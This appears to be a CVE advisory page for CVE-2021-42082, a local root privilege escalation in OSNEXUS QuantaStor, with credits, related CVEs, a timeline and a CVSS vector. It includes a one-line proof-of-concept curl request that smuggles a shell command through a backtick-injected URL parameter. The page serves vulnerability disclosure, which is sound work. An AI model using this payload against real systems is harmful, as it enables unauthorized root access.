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Status published
High
CVE-2021-42082
Local Privilege Escalation to root in OSNEXUS QuantaStor before 6.0.0.355
Vulnerability Description
Local users are able to execute scripts under root privileges. POC On the local host run the following command: curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'
Impact Analysis
Refer to official advisory for detailed impact metrics.
Remediation
Ensure systems are updated to the latest vendor-supplied patch levels.
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Credits & Attribution
The following person or organization is credited with identifying this vulnerability, as recorded in the NVD database:
- Wietse Boonstra (DIVD)
- Frank Breedijk (DIVD)
- Victor Pasman (DIVD)
- Victor Gevers (DIVD)
- Max van der Horst (DIVD)
- Célistine Oosting (DIVD)
References
More from OSNEXUS
View All →CVE-2021-4406
Authenticated Remote COmmand Execution as root in OSNEXUS QuantaStor version 6.0.0.355 and others
Critical
9.1
CVE-2021-42083
Authenticated Stored XSS in OSNEXUS QuantaStor 6.0.0.335
High
8.7
CVE-2021-42081
Authenticated Remote Command Execution vulnerability in OSNEXUS QuantaStor before 6.0.0.355
Critical
9.1
CVE-2021-42080
Reflected XSS vulnerability in OSNEXUS QuantaStor before 6.0.0.355
High
7.4
CVE-2021-42079
SSRF vulnerability in OSNEXUS QuantaStor before 6.0.0.355
Medium
6.2
Affected Vendor
OSNEXUS
View all reports →Affected Software
QuantaStor
Vulnerable Versions:
0
Timeline
Official Publish:
July 10th, 2023
Last Modified:
September 22nd, 2025
Added to House:
July 21st, 2026
CVSS Vectors
V3:
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H